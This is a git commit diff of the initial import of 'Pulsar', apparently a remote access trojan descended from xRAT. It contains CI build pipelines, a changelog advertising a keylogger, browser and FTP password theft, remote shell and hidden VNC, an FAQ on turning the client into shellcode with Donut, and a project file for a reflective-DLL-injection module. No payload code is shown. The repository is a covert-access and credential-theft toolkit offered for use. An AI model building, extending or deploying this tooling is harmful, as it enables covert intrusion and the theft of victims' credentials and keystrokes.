commit 773d05f8f1059bc41ee5f29c7837ae4c35464867 Author: i2p Date: Thu Aug 27 10:57:58 2026 -0600 initial commit diff --git a/.DS_Store b/.DS_Store new file mode 100644 index 0000000..c5a6d50 Binary files /dev/null and b/.DS_Store differ diff --git a/.gitattributes b/.gitattributes new file mode 100644 index 0000000..412eeda --- /dev/null +++ b/.gitattributes @@ -0,0 +1,22 @@ +# Auto detect text files and perform LF normalization +* text=auto + +# Custom for Visual Studio +*.cs diff=csharp +*.sln merge=union +*.csproj merge=union +*.vbproj merge=union +*.fsproj merge=union +*.dbproj merge=union + +# Standard to msysgit +*.doc diff=astextplain +*.DOC diff=astextplain +*.docx diff=astextplain +*.DOCX diff=astextplain +*.dot diff=astextplain +*.DOT diff=astextplain +*.pdf diff=astextplain +*.PDF diff=astextplain +*.rtf diff=astextplain +*.RTF diff=astextplain diff --git a/.github/.DS_Store b/.github/.DS_Store new file mode 100644 index 0000000..332254d Binary files /dev/null and b/.github/.DS_Store differ diff --git a/.github/ISSUE_TEMPLATE/bug_report.yaml b/.github/ISSUE_TEMPLATE/bug_report.yaml new file mode 100644 index 0000000..3cd760e --- /dev/null +++ b/.github/ISSUE_TEMPLATE/bug_report.yaml @@ -0,0 +1,77 @@ +name: Bug report +description: Create a bug or crash report +labels: ["bug"] +body: + - type: input + attributes: + label: Pulsar version + placeholder: 1.4.0 or commit-id + validations: + required: true + - type: input + attributes: + label: Server installed .NET version + placeholder: .NET 6.0 + - type: dropdown + attributes: + label: Server operating system + options: + - Windows 11/Server 2022 + - Windows 10/Server 2019/2016 + - Windows 8/8.1/Server 2012 + - Windows 7/Server 2008 R2 + - Other + validations: + required: true + - type: input + attributes: + label: Client installed .NET version + placeholder: .NET 6.0 + - type: dropdown + attributes: + label: Client operating system + options: + - Windows 11/Server 2022 + - Windows 10/Server 2019/2016 + - Windows 8/8.1/Server 2012 + - Windows 7/Server 2008 R2 + - Other + validations: + required: true + - type: dropdown + attributes: + label: Build configuration + options: + - Debug + - Release + validations: + required: true + - type: textarea + attributes: + label: Describe the bug + description: A clear and concise description of what the bug is. + validations: + required: true + - type: textarea + attributes: + label: How to reproduce + description: The steps on how to reproduce the bug. + validations: + required: true + - type: textarea + attributes: + label: Expected behavior + description: Describe the result that you expect to get after performing the steps. + validations: + required: true + - type: textarea + attributes: + label: Actual behavior + description: Describe the actual behavior that you observed after performing the steps. + validations: + required: true + - type: textarea + attributes: + label: Additional context + description: Any other information that may help us fix the issue goes here (e.g. screenshots). + diff --git a/.github/ISSUE_TEMPLATE/feature_request.yaml b/.github/ISSUE_TEMPLATE/feature_request.yaml new file mode 100644 index 0000000..e56dad8 --- /dev/null +++ b/.github/ISSUE_TEMPLATE/feature_request.yaml @@ -0,0 +1,23 @@ +name: Feature request +description: Suggest a new feature +labels: ["enhancement"] +body: + - type: textarea + attributes: + label: Problem description + description: A clear and concise description of what the problem is. + placeholder: | + Example: "I'm always frustrated when [...]", or "I often need to [...]" + validations: + required: true + - type: textarea + attributes: + label: Proposal + description: A clear and concise description of what you want to happen. + validations: + required: true + - type: textarea + attributes: + label: Additional context + description: Add any other context or screenshots about the feature request here. + diff --git a/.github/workflows/dotnet.yml b/.github/workflows/dotnet.yml new file mode 100644 index 0000000..9eede11 --- /dev/null +++ b/.github/workflows/dotnet.yml @@ -0,0 +1,75 @@ +name: Pulsar .NET 9.0 Windows Release + +on: + push: + branches: [ "main" ] + +jobs: + build: + runs-on: windows-latest + permissions: + contents: write + pull-requests: write + repository-projects: write + + steps: + - name: Checkout Repository + uses: actions/checkout@v4 + with: + submodules: true + fetch-depth: 0 + + - name: Setup .NET 9.0 + uses: actions/setup-dotnet@v4 + with: + dotnet-version: '9.0.x' + + - name: Setup MSBuild + uses: microsoft/setup-msbuild@v2 + + - name: Get Version + run: | + $version = (Get-Content Pulsar.Server/Utilities/ServerVersion.cs | Select-String 'Current = "([^"]+)"').Matches.Groups[1].Value + echo "VERSION=$version" >> $env:GITHUB_ENV + shell: pwsh + + - name: Restore Dependencies + run: dotnet restore Pulsar.sln + + - name: Build Solution + run: msbuild Pulsar.sln /p:Configuration=Release /p:Platform=AnyCPU + + - name: Prepare Build Output + run: | + if (Test-Path "./bin/Release/net9.0-windows") { + Compress-Archive -Path "./bin/Release/net9.0-windows/*" -DestinationPath "pulsar-net-win64-${{ env.VERSION }}.zip" + Write-Host "Zipped net9.0-windows output" + } else { + Write-Host "Error: net9.0-windows output not found" + exit 1 + } + shell: pwsh + + - name: Upload Build Artifact + uses: actions/upload-artifact@v4 + with: + name: windows-build-${{ env.VERSION }} + path: pulsar-net-win64-${{ env.VERSION }}.zip + + - name: Delete existing release + env: + GITHUB_TOKEN: ${{ secrets.GITHUB_TOKEN }} + run: | + gh release delete Pulsar-v${{ env.VERSION }} --yes --cleanup-tag || echo "No existing release/tag to delete" + shell: bash + + - name: Create Release + env: + GITHUB_TOKEN: ${{ secrets.GITHUB_TOKEN }} + run: | + gh release create Pulsar-v${{ env.VERSION }} pulsar-net-win64-${{ env.VERSION }}.zip \ + -t "Pulsar-v${{ env.VERSION }}" \ + -n "Automated build release for Pulsar v${{ env.VERSION }}" \ + --draft=false \ + --prerelease=false + shell: bash diff --git a/.github/workflows/mirror.yml b/.github/workflows/mirror.yml new file mode 100644 index 0000000..c86ec75 --- /dev/null +++ b/.github/workflows/mirror.yml @@ -0,0 +1,31 @@ +name: Mirror to Codeberg and Gitea + +on: + push: + branches: ["*"] + workflow_dispatch: + +jobs: + mirror: + runs-on: ubuntu:22.04 + steps: + - name: Checkout + uses: actions/checkout@v4 + with: + fetch-depth: 0 # all history fr + + - name: Mirror to Codeberg and Gitea + env: + CODEBERG_USERNAME: ${{ secrets.CODEBERG_USERNAME }} + CODEBERG_TOKEN: ${{ secrets.CODEBERG_TOKEN }} + GITEA_USERNAME: ${{ secrets.GITEA_USERNAME }} + GITEA_TOKEN: ${{ secrets.GITEA_TOKEN }} + run: | + git config --global user.name "GitHub Mirror Bot" + git config --global user.email "actions@github.com" + + git remote add codeberg https://$CODEBERG_USERNAME:$CODEBERG_TOKEN@codeberg.org/$CODEBERG_USERNAME/Poopsar.git + git remote add gitea https://$GITEA_USERNAME:$GITEA_TOKEN@gitea.com/$GITEA_USERNAME/Poopsar.git + + git push --mirror codeberg + git push --mirror gitea diff --git a/.gitignore b/.gitignore new file mode 100644 index 0000000..463e707 --- /dev/null +++ b/.gitignore @@ -0,0 +1,211 @@ +## Ignore Visual Studio temporary files, build results, and +## files generated by popular Visual Studio add-ons. + +# Client build file +Pulsar-Client.exe + +# User-specific files +*.suo +*.user +*.userosscache +*.sln.docstates + +# User-specific files (MonoDevelop/Xamarin Studio) +*.userprefs + +# Build results +[Dd]ebug/ +[Dd]ebugPublic/ +[Rr]elease/ +[Rr]eleases/ +x64/ +x86/ +bld/ +[Bb]in/ +[Oo]bj/ + +# Visual Studio 2015 cache/options directory +.vs/ + +# MSTest test Results +[Tt]est[Rr]esult*/ +[Bb]uild[Ll]og.* + +# NUNIT +*.VisualState.xml +TestResult.xml + +# Build Results of an ATL Project +[Dd]ebugPS/ +[Rr]eleasePS/ +dlldata.c + +# DNX +project.lock.json +artifacts/ + +*_i.c +*_p.c +*_i.h +*.ilk +*.meta +*.obj +*.pch +*.pdb +*.pgc +*.pgd +*.rsp +*.sbr +*.tlb +*.tli +*.tlh +*.tmp +*.tmp_proj +*.log +*.vspscc +*.vssscc +.builds +*.pidb +*.svclog +*.scc + +# Chutzpah Test files +_Chutzpah* + +# Visual C++ cache files +ipch/ +*.aps +*.ncb +*.opensdf +*.sdf +*.cachefile + +# Visual Studio profiler +*.psess +*.vsp +*.vspx + +# TFS 2012 Local Workspace +$tf/ + +# Guidance Automation Toolkit +*.gpState + +# ReSharper is a .NET coding add-in +_ReSharper*/ +*.[Rr]e[Ss]harper +*.DotSettings.user + +# JustCode is a .NET coding add-in +.JustCode + +# TeamCity is a build add-in +_TeamCity* + +# DotCover is a Code Coverage Tool +*.dotCover + +# NCrunch +_NCrunch_* +.*crunch*.local.xml + +# MightyMoose +*.mm.* +AutoTest.Net/ + +# Web workbench (sass) +.sass-cache/ + +# Installshield output folder +[Ee]xpress/ + +# DocProject is a documentation generator add-in +DocProject/buildhelp/ +DocProject/Help/*.HxT +DocProject/Help/*.HxC +DocProject/Help/*.hhc +DocProject/Help/*.hhk +DocProject/Help/*.hhp +DocProject/Help/Html2 +DocProject/Help/html + +# Click-Once directory +publish/ + +# Publish Web Output +*.[Pp]ublish.xml +*.azurePubxml +# TODO: Comment the next line if you want to checkin your web deploy settings +# but database connection strings (with potential passwords) will be unencrypted +*.pubxml +*.publishproj + +# NuGet Packages +*.nupkg +# The packages folder can be ignored because of Package Restore +**/packages/* +# except build/, which is used as an MSBuild target. +!**/packages/build/ +# Uncomment if necessary however generally it will be regenerated when needed +#!**/packages/repositories.config + +# Windows Azure Build Output +csx/ +*.build.csdef + +# Windows Store app package directory +AppPackages/ + +# Visual Studio cache files +# files ending in .cache can be ignored +*.[Cc]ache +# but keep track of directories ending in .cache +!*.[Cc]ache/ + +# Others +ClientBin/ +[Ss]tyle[Cc]op.* +~$* +*~ +*.dbmdl +*.dbproj.schemaview +*.pfx +*.publishsettings +node_modules/ +orleans.codegen.cs + +# RIA/Silverlight projects +Generated_Code/ + +# Backup & report files from converting an old project file +# to a newer Visual Studio version. Backup files are not needed, +# because we have git ;-) +_UpgradeReport_Files/ +Backup*/ +UpgradeLog*.XML +UpgradeLog*.htm + +# SQL Server files +*.mdf +*.ldf + +# Business Intelligence projects +*.rdl.data +*.bim.layout +*.bim_*.settings + +# Microsoft Fakes +FakesAssemblies/ + +# Node.js Tools for Visual Studio +.ntvs_analysis.dat + +# Visual Studio 6 build log +*.plg + +# Visual Studio 6 workspace options file +*.opt + +# Deferred assembly payloads (runtime-delivered DLLs) +Pulsar.Server/DeferredAssemblies/* +!Pulsar.Server/DeferredAssemblies/README.md diff --git a/.gitlab-ci.yml b/.gitlab-ci.yml new file mode 100644 index 0000000..b365735 --- /dev/null +++ b/.gitlab-ci.yml @@ -0,0 +1,145 @@ +stages: + - determine + - build + +variables: + SOLUTION_FILE: "Pulsar.sln" + BUILD_CONFIGURATION: "Release" + SERVER_TARGET_FRAMEWORK: "net9.0-windows" + SERVER_RUNTIME: "win-x64" + CLIENT_TARGET_FRAMEWORK: "net472" + +# Only run on main branch when C# files or project files change +workflow: + rules: + - if: $CI_COMMIT_BRANCH == "main" + changes: + - "**/*.cs" + - "**/*.csproj" + - "**/*.sln" + - ".gitlab-ci.yml" + +determine-version: + stage: determine + image: ubuntu:22.04 + tags: + - docker + before_script: + - apt-get update -qq && apt-get install -y -qq git grep + script: + - | + if [ -f "Pulsar.Server/Properties/AssemblyInfo.cs" ]; then + VERSION=$(grep -oP '\[assembly: AssemblyVersion\("\K[0-9]+\.[0-9]+\.[0-9]+' Pulsar.Server/Properties/AssemblyInfo.cs || echo "unknown") + echo "Found version: $VERSION" + echo "VERSION=$VERSION" >> variables.env + else + echo "AssemblyInfo.cs not found" + echo "VERSION=unknown" >> variables.env + fi + - | + if echo "$CI_COMMIT_MESSAGE" | grep -q "^STABLE"; then + echo "Stable release detected" + echo "IS_STABLE=true" >> variables.env + echo "RELEASE_TYPE=stable" >> variables.env + else + echo "Development build" + echo "IS_STABLE=false" >> variables.env + echo "RELEASE_TYPE=dev" >> variables.env + fi + - echo "Commit short SHA:" $CI_COMMIT_SHORT_SHA + - echo "Ref name:" $CI_COMMIT_REF_NAME + - echo "COMMIT_SHORT_SHA=$CI_COMMIT_SHORT_SHA" >> variables.env + - | + # Clean commit message for dotenv (remove problematic characters) + CLEAN_MESSAGE=$(echo "$CI_COMMIT_MESSAGE" | tr -d '\n\r' | sed 's/"/\\"/g' | sed "s/'/\\'/g") + echo "COMMIT_MESSAGE=$CLEAN_MESSAGE" >> variables.env + +build: + stage: build + needs: ["determine-version"] + image: debian:12 + tags: + - docker + before_script: + # Install Microsoft packages repository and .NET SDK 9.0 + - apt-get update -qq + - apt-get install -y -qq wget ca-certificates apt-transport-https + - wget https://packages.microsoft.com/config/debian/12/packages-microsoft-prod.deb -O packages-microsoft-prod.deb + - dpkg -i packages-microsoft-prod.deb + - rm packages-microsoft-prod.deb + - apt-get update -qq + - apt-get install -y -qq dotnet-sdk-9.0 zip + script: + - set -e # Exit on any error + - echo "Building Pulsar version:" $VERSION + - echo "Release type:" $RELEASE_TYPE + - echo "Commit:" $COMMIT_SHORT_SHA + - echo "Commit message:" $COMMIT_MESSAGE + - echo "Restoring dependencies..." + - dotnet restore $SOLUTION_FILE --runtime $SERVER_RUNTIME + - echo "Build completed. Checking if restore was successful..." + - echo "Building client..." + - dotnet build Pulsar.Client/Pulsar.Client.csproj --configuration $BUILD_CONFIGURATION --no-restore --framework $CLIENT_TARGET_FRAMEWORK + - echo "Client build completed. Checking build output..." + - ls -la Pulsar.Client/bin/Release/ 2>/dev/null || echo "Client bin directory not found" + - echo "Publishing server..." + - dotnet publish Pulsar.Server/Pulsar.Server.csproj --configuration $BUILD_CONFIGURATION --output "$CI_PROJECT_DIR/publish/server" --no-restore --framework $SERVER_TARGET_FRAMEWORK --runtime $SERVER_RUNTIME --self-contained false + - echo "Server publish completed. Checking publish output..." + - ls -la publish/server/ 2>/dev/null || echo "Server publish directory not found" + - echo "Preparing build output..." + - mkdir -p build_output + # Copy all published server code to build_output + - cp -r publish/server/* build_output/ + # Find and copy client.bin - check multiple possible locations + - | + CLIENT_FOUND=false + # Check location 1: Pulsar.Client/bin/Release/net472/Pulsar.Client.exe + if [ -f "Pulsar.Client/bin/Release/$CLIENT_TARGET_FRAMEWORK/Pulsar.Client.exe" ]; then + cp "Pulsar.Client/bin/Release/$CLIENT_TARGET_FRAMEWORK/Pulsar.Client.exe" build_output/client.bin + echo "✓ Copied Pulsar.Client.exe as client.bin from Pulsar.Client/bin" + CLIENT_FOUND=true + # Check location 2: bin/Release/net472/Client.exe (like GitHub Actions) + elif [ -f "bin/Release/$CLIENT_TARGET_FRAMEWORK/Client.exe" ]; then + cp "bin/Release/$CLIENT_TARGET_FRAMEWORK/Client.exe" build_output/client.bin + echo "✓ Copied Client.exe from bin directory as client.bin" + CLIENT_FOUND=true + # Check location 3: bin/Release/net472/Pulsar.Client.exe + elif [ -f "bin/Release/$CLIENT_TARGET_FRAMEWORK/Pulsar.Client.exe" ]; then + cp "bin/Release/$CLIENT_TARGET_FRAMEWORK/Pulsar.Client.exe" build_output/client.bin + echo "✓ Copied Pulsar.Client.exe from bin directory as client.bin" + CLIENT_FOUND=true + # Check location 4: Pulsar.Client/bin/Release/net472/Client.exe + elif [ -f "Pulsar.Client/bin/Release/$CLIENT_TARGET_FRAMEWORK/Client.exe" ]; then + cp "Pulsar.Client/bin/Release/$CLIENT_TARGET_FRAMEWORK/Client.exe" build_output/client.bin + echo "✓ Copied Client.exe as client.bin from Pulsar.Client/bin" + CLIENT_FOUND=true + fi + + if [ "$CLIENT_FOUND" = false ]; then + echo "❌ ERROR: Client executable not found!" + echo "Searched locations:" + echo " - Pulsar.Client/bin/Release/$CLIENT_TARGET_FRAMEWORK/Pulsar.Client.exe" + echo " - bin/Release/$CLIENT_TARGET_FRAMEWORK/Client.exe" + echo " - bin/Release/$CLIENT_TARGET_FRAMEWORK/Pulsar.Client.exe" + echo " - Pulsar.Client/bin/Release/$CLIENT_TARGET_FRAMEWORK/Client.exe" + echo "" + echo "Available files in project directories:" + echo "Pulsar.Client/bin contents:" + find Pulsar.Client/bin -name "*.exe" 2>/dev/null || echo "No exe files found in Pulsar.Client/bin" + echo "bin contents:" + find bin -name "*.exe" 2>/dev/null || echo "No exe files found in bin" + echo "" + echo "All bin directories structure:" + find . -type d -name "bin" -exec echo "Directory: {}" \; -exec find {} -name "*.exe" \; 2>/dev/null || echo "No bin directories found" + exit 1 + fi + # Create the final zip with just the essentials + - cd build_output && zip -r ../build_output.zip . && cd .. + - echo "✓ Build package created successfully" + - echo "Package contents:" + - unzip -l build_output.zip | head -20 || true + artifacts: + paths: + - build_output.zip + expire_in: 30 days + when: on_success \ No newline at end of file diff --git a/.gitmodules b/.gitmodules new file mode 100644 index 0000000..2f9b4a9 --- /dev/null +++ b/.gitmodules @@ -0,0 +1,3 @@ +[submodule "external/donut"] + path = external/donut + url = https://github.com/TheWover/donut.git diff --git a/CHANGELOG.md b/CHANGELOG.md new file mode 100644 index 0000000..2a70fa2 --- /dev/null +++ b/CHANGELOG.md @@ -0,0 +1,104 @@ +# Pulsar Changelog + +## Pulsar v1.4.1 [12.03.2023] +* Added missing WOW64 subsystem autostart locations +* Fixed file transfers of files larger than 2 GB +* Fixed file transfers of empty files +* Fixed browser credentials recovery +* Fixed race condition on shutdown +* Fixed IP Geolocation +* Fixed opening remote shell sessions on non-system drives +* Fixed incorrectly set file attributes on client installations +* Fixed sorting of listview columns with numbers +* Updated dependencies + +## Pulsar v1.4.0 [05.06.2020] +* **Changed target framework to .NET Framework 4.5.2** +* **Changed license to MIT** +* Changed message serializer to Protobuf +* Changed versioning scheme to Semantic Versioning (https://semver.org/) +* Added attended/unattended client modes +* Added TLS 1.2 as transport encryption +* Added UTC timestamps to log files +* Added dependencies as NuGet packages +* Updated dependencies +* Updated message processing in client and server +* Updated mouse and keyboard input to SendInput API +* Fixed file transfer vulnerbilities ([#623](https://github.com/Pulsar/Pulsar/issues/623)) +* Lots of under the hood changes for an upcoming plugin system + +## Pulsar v1.3.0.0 [28.09.2016] +* Added Registry Editor +* Added Remote Webcam +* Added Windows DPI scaling support +* Added IPv6 support +* Added ability to elevate Client +* Added full Unicode support +* Added Remote TCP Connections Viewer +* Added option to hide sub directory of installation path +* Improved cryptography +* Fixed XSS vulnerability in Keylogger Logs +* Fixed Remote Messagebox having wrong icon +* Fixed FileZilla Recovery base64 decoding +* Fixed UPnP discovery freezing in some cases +* Fixed IP Geolocation +* Fixed Client loses Administrator privileges on restart +* Some minor improvements + +## Pulsar v1.2.0.0 [12.10.2015] +* Added Client restart on unhandled exceptions +* Added additional settings to Keylogger (set/hide log-directory) +* Added encrypted Keylogger logs +* Improved Client Builder +* Improved System Information +* Improved File Manager behaviour when loading directories with many files +* Improved Remote Shell (scrolls now correctly to the bottom when new text received) +* Improved compatibility with many connected clients (1k+) +* Improved AES encryption/decryption speed (if available, makes use of hardware accelerated AES) +* Fixed Client not setting file attribute correctly on startup +* Fixed Remote Desktop lagging with mouse input and maximized window +* Some minor improvements + +## Pulsar v1.1.0.0 [30.08.2015] +* **Changed Target Framework to .NET Framework 4.0 Client Profile** +* Added deletion of ZoneIdentifier file when installing +* Improved Client installation error handling +* Improved Client HardwareID generation +* Improved Client-Server handshake +* Support detection of multiple AVs, Firewalls, GPUs, CPUs +* Fixed Builder Profile not saving correctly Installation Subfolder +* Fixed Builder not validating input correctly +* Fixed Builder creating Client with empty list of hosts +* Fixed Settings Password not hashed when pressing 'Start listening' +* Fixed Reverse Proxy using always wrong port +* Fixed Server throwing NullReferenceException when closing and no Clients connected +* Fixed Client reporting wrong uptime on systems with uptime longer than 49.7 days +* Fixed Client installation path empty on Windows XP 32-bit in some scenarios +* Fixed Client installation to system directory failing on 64-bit OS +* Fixed Client uninstallation not working when file is marked as read-only +* Fixed Client crashing after update on first start in some scenarios +* Fixed Client crashing when list of hosts is empty (Client exits now) +* Fixed Client not reconnecting when Server uses different password +* Fixed Client registry access +* Removed Statistics window, will be remade in a later version + +## Pulsar v1.0.0.0 [22.08.2015] +* **xRAT is now Pulsar** +* Added Password Recovery (Common Browsers and FTP Clients) +* Added Server compatiblity with Mono (Server now runs on Linux with Mono installed) + * Client Builder works also on Linux/Mono +* Added ability to upload batch files +* Added Client support for multiple hosts +* Added maximum simultaneous file downloads/uploads (current max: 2) +* Fixed Remote Shell redirecting of standard output not working after redirecting error output +* Fixed Remote Shell not displaying unicode characters correctly +* Fixed Remote Desktop crash when changing screen resolution +* Fixed File Manager would refresh directory when double-clicking files +* Improved support for Windows 8 and above +* Improved Remote Desktop (Speed, Full Mouse and Keyboard support) +* Improved File Manager (Show name of drive, current path, upload files) +* Improved UPnP support +* Improved Geo IP support +* Improved Builder UI +* Switched from Protobuff to NetSerializer +* Lots of under the hood changes for stability and performance diff --git a/CONTRIBUTING.md b/CONTRIBUTING.md new file mode 100644 index 0000000..29a30ea --- /dev/null +++ b/CONTRIBUTING.md @@ -0,0 +1,19 @@ +# Contributing + +1. Fork it +2. Create your feature branch (`git checkout -b my-new-feature`) +3. Commit your changes (`git commit -am 'Add some feature'`) +4. Push to the branch (`git push origin my-new-feature`) +5. Create new pull request (PR) + +## Guidelines for pull requests: + +1. Respect the coding style of Pulsar. +2. Create a new branch for each PR. +3. Single feature or bug-fix per PR. +4. Make single commit per PR. +5. Make your modification compact - don't reformat source code in your request. It makes code review more difficult. +6. PR of reformatting (changing of ws/TAB, line endings or coding style) of source code won't be accepted. Use the issue tracker for your request instead. +7. Typo fixing and code refactoring won't be accepted - please create issues with title started with TYPO to request the changing. + +In short: The easier the code review is, the better the chance your pull request will get accepted. diff --git a/FAQ.md b/FAQ.md new file mode 100644 index 0000000..e6541a3 --- /dev/null +++ b/FAQ.md @@ -0,0 +1,68 @@ +# FAQ + +## Table of Contents + +* [Shellcode Not Working](#shellcode-not-working) + + * [Enabling Shellcode Outputs](#enabling-shellcode-outputs) + * [Alternative Build Process](#alternative-build-process) + +--- + +## Shellcode Not Working + +If shellcode generation or execution isn't producing the expected outputs, it often means the project wasn't built with the shellcode feature enabled. Follow the steps below to ensure your build configuration includes Donut support. + +### Enabling Shellcode Outputs + +1. **Open the solution**: Launch Visual Studio and open `Pulsar.sln`. + + ![Open Project](Images/open_project.png) + +2. **Select build configuration**: + + * Locate the configuration selector on the toolbar (usually reads `Debug` or `Release`). + + ![Select Configuration](Images/select_config.png) + + * Change it to **ReleaseWithDonut**. + + ![Build with Donut Enabled](Images/build_with_donut.png) + +3. **Build the solution**: + + * Go to `Build → Build Solution` or press `Ctrl + Shift + B`. + + ![Build Solution](Images/build_solution.png) + +4. **Verify outputs**: + + * After a successful build, navigate to `bin/Release`. + * Confirm that the shellcode converter files (donut.exe) are present. + +### Alternative Build Process + +If you cannot use Visual Studio or the standard build fails, enable shellcode outputs manually: + +1. **Download Donut**: + + * Visit the [Donut Releases page](https://github.com/TheWover/donut/releases). + * Download the latest `donut.exe` for your operating system. + + ![Download Donut](Images/download_donut.png) + +2. **Extract the binary**: + + * Unzip or extract the downloaded archive to locate `donut.exe`. + +3. **Copy to Pulsar output**: + + * Place `donut.exe` into your Pulsar build directory: `bin/ReleaseWithDonut`. + + ![Move Donut to Bin](Images/move_to_bin.png) + +4. **Verify manual setup**: + + * Check Pulsar if the build shellcode artifact is enabled. + +--- \ No newline at end of file diff --git a/HVNCInjection/HVNCInjection.vcxproj b/HVNCInjection/HVNCInjection.vcxproj new file mode 100644 index 0000000..5dfe7b1 --- /dev/null +++ b/HVNCInjection/HVNCInjection.vcxproj @@ -0,0 +1,286 @@ + + + + + Debug + ARM + + + Debug + Win32 + + + Debug + x64 + + + Release + ARM + + + Release + Win32 + + + Release + x64 + + + + {483CE4EF-7B5C-4C47-BAC5-2EA5CD09EBFC} + HVNCInjection + Win32Proj + + + + DynamicLibrary + v143 + MultiByte + true + + + DynamicLibrary + v143 + MultiByte + true + + + DynamicLibrary + false + v143 + false + Unicode + + + DynamicLibrary + v143 + Unicode + + + DynamicLibrary + v143 + MultiByte + false + + + DynamicLibrary + false + v143 + false + Unicode + + + + + + + + + + + + + + + + + + + + + + + + + <_ProjectFileVersion>11.0.50727.1 + + + $(SolutionDir)$(Configuration)\ + $(Configuration)\ + true + + + true + + + $(SolutionDir)$(Platform)\$(Configuration)\ + $(Platform)\$(Configuration)\ + true + + + $(SolutionDir)$(Configuration)\ + $(Configuration)\ + false + + + false + + + $(SolutionDir)$(Platform)\$(Configuration)\ + $(Platform)\$(Configuration)\ + false + + + + MinSpace + OnlyExplicitInline + true + WIN32;NDEBUG;_WINDOWS;_USRDLL;HVNCInjection_EXPORTS;REFLECTIVEDLLINJECTION_VIA_LOADREMOTELIBRARYR;REFLECTIVEDLLINJECTION_CUSTOM_DLLMAIN;%(PreprocessorDefinitions) + MultiThreaded + true + + Level3 + ProgramDatabase + + + true + Windows + true + true + MachineX86 + + + + + Disabled + WIN32;_DEBUG;_WINDOWS;_USRDLL;HVNCInjection_EXPORTS;%(PreprocessorDefinitions) + true + EnableFastChecks + MultiThreadedDebugDLL + + + Level3 + EditAndContinue + + + true + Windows + + + + + X64 + + + MaxSpeed + OnlyExplicitInline + true + Size + false + WIN64;NDEBUG;_WINDOWS;_USRDLL;HVNCInjection_EXPORTS;WIN_X64;REFLECTIVEDLLINJECTION_VIA_LOADREMOTELIBRARYR;REFLECTIVEDLLINJECTION_CUSTOM_DLLMAIN;%(PreprocessorDefinitions) + MultiThreaded + true + + Level3 + ProgramDatabase + CompileAsCpp + + + $(OutDir)$(ProjectName).x64.dll + true + Windows + true + true + MachineX64 + $(ProjectDir)src;%(AdditionalLibraryDirectories) + + + if not exist "$(SolutionDir)bin\Debug\net9.0-windows" mkdir "$(SolutionDir)bin\Debug\net9.0-windows" + if not exist "$(SolutionDir)bin\Release\net9.0-windows" mkdir "$(SolutionDir)bin\Release\net9.0-windows" + copy "$(OutDir)$(ProjectName).x64.dll" "$(SolutionDir)bin\Debug\net9.0-windows\" + copy "$(OutDir)$(ProjectName).x64.dll" "$(SolutionDir)bin\Release\net9.0-windows\" + + + + + MaxSpeed + OnlyExplicitInline + true + WIN32;NDEBUG;_WINDOWS;_USRDLL;WIN_X86;HVNCInjection_EXPORTS;REFLECTIVEDLLINJECTION_VIA_LOADREMOTELIBRARYR;REFLECTIVEDLLINJECTION_CUSTOM_DLLMAIN;%(PreprocessorDefinitions) + MultiThreaded + true + + Level3 + ProgramDatabase + + + true + Windows + true + true + MachineX86 + + + + + MinSpace + OnlyExplicitInline + true + WIN32;NDEBUG;_WINDOWS;_USRDLL;WIN_ARM;HVNCInjection_EXPORTS;REFLECTIVEDLLINJECTION_VIA_LOADREMOTELIBRARYR;REFLECTIVEDLLINJECTION_CUSTOM_DLLMAIN;%(PreprocessorDefinitions) + MultiThreaded + true + + + Level3 + ProgramDatabase + true + Default + + + true + Windows + true + true + $(OutDir)$(ProjectName).arm.dll + + + + + X64 + + + MaxSpeed + OnlyExplicitInline + true + Size + false + WIN64;NDEBUG;_WINDOWS;_USRDLL;HVNCInjection_EXPORTS;WIN_X64;REFLECTIVEDLLINJECTION_VIA_LOADREMOTELIBRARYR;REFLECTIVEDLLINJECTION_CUSTOM_DLLMAIN;%(PreprocessorDefinitions) + MultiThreaded + true + + Level3 + ProgramDatabase + CompileAsCpp + + + $(OutDir)$(ProjectName).x64.dll + true + Windows + true + true + MachineX64 + $(ProjectDir)src;%(AdditionalLibraryDirectories) + + + if not exist "$(SolutionDir)bin\Debug\net9.0-windows" mkdir "$(SolutionDir)bin\Debug\net9.0-windows" + if not exist "$(SolutionDir)bin\Release\net9.0-windows" mkdir "$(SolutionDir)bin\Release\net9.0-windows" + copy "$(OutDir)$(ProjectName).x64.dll" "$(SolutionDir)bin\Debug\net9.0-windows\" + copy "$(OutDir)$(ProjectName).x64.dll" "$(SolutionDir)bin\Release\net9.0-windows\" + + + + + + + + + + + + + + + + + + \ No newline at end of file diff --git a/HVNCInjection/HVNCInjection.vcxproj.filters b/HVNCInjection/HVNCInjection.vcxproj.filters new file mode 100644 index 0000000..335b9fc --- /dev/null +++ b/HVNCInjection/HVNCInjection.vcxproj.filters @@ -0,0 +1,41 @@ + + + + + {4FC737F1-C7A5-4376-A066-2A32D752A2FF} + cpp;c;cc;cxx;def;odl;idl;hpj;bat;asm;asmx + + + {93995380-89BD-4b04-88EB-625FBE52EBFB} + h;hpp;hxx;hm;inl;inc;xsd + + + + + Source Files + + + Source Files + + + Source Files + + + + + Header Files + + + Header Files + + + Header Files + + + Header Files + + + Header Files + + + \ No newline at end of file diff --git a/HVNCInjection/src/.DS_Store b/HVNCInjection/src/.DS_Store new file mode 100644 index 0000000..5008ddf Binary files /dev/null and b/HVNCInjection/src/.DS_Store differ diff --git a/HVNCInjection/src/MinHook.h b/HVNCInjection/src/MinHook.h new file mode 100644 index 0000000..8b16ce0 --- /dev/null +++ b/HVNCInjection/src/MinHook.h @@ -0,0 +1,185 @@ +/* + * MinHook - The Minimalistic API Hooking Library for x64/x86 + * Copyright (C) 2009-2017 Tsuda Kageyu. + * All rights reserved. + * + * Redistribution and use in source and binary forms, with or without + * modification, are permitted provided that the following conditions + * are met: + * + * 1. Redistributions of source code must retain the above copyright + * notice, this list of conditions and the following disclaimer. + * 2. Redistributions in binary form must reproduce the above copyright + * notice, this list of conditions and the following disclaimer in the + * documentation and/or other materials provided with the distribution. + * + * THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS + * "AS IS" AND ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED + * TO, THE IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR A + * PARTICULAR PURPOSE ARE DISCLAIMED. IN NO EVENT SHALL THE COPYRIGHT HOLDER + * OR CONTRIBUTORS BE LIABLE FOR ANY DIRECT, INDIRECT, INCIDENTAL, SPECIAL, + * EXEMPLARY, OR CONSEQUENTIAL DAMAGES (INCLUDING, BUT NOT LIMITED TO, + * PROCUREMENT OF SUBSTITUTE GOODS OR SERVICES; LOSS OF USE, DATA, OR + * PROFITS; OR BUSINESS INTERRUPTION) HOWEVER CAUSED AND ON ANY THEORY OF + * LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY, OR TORT 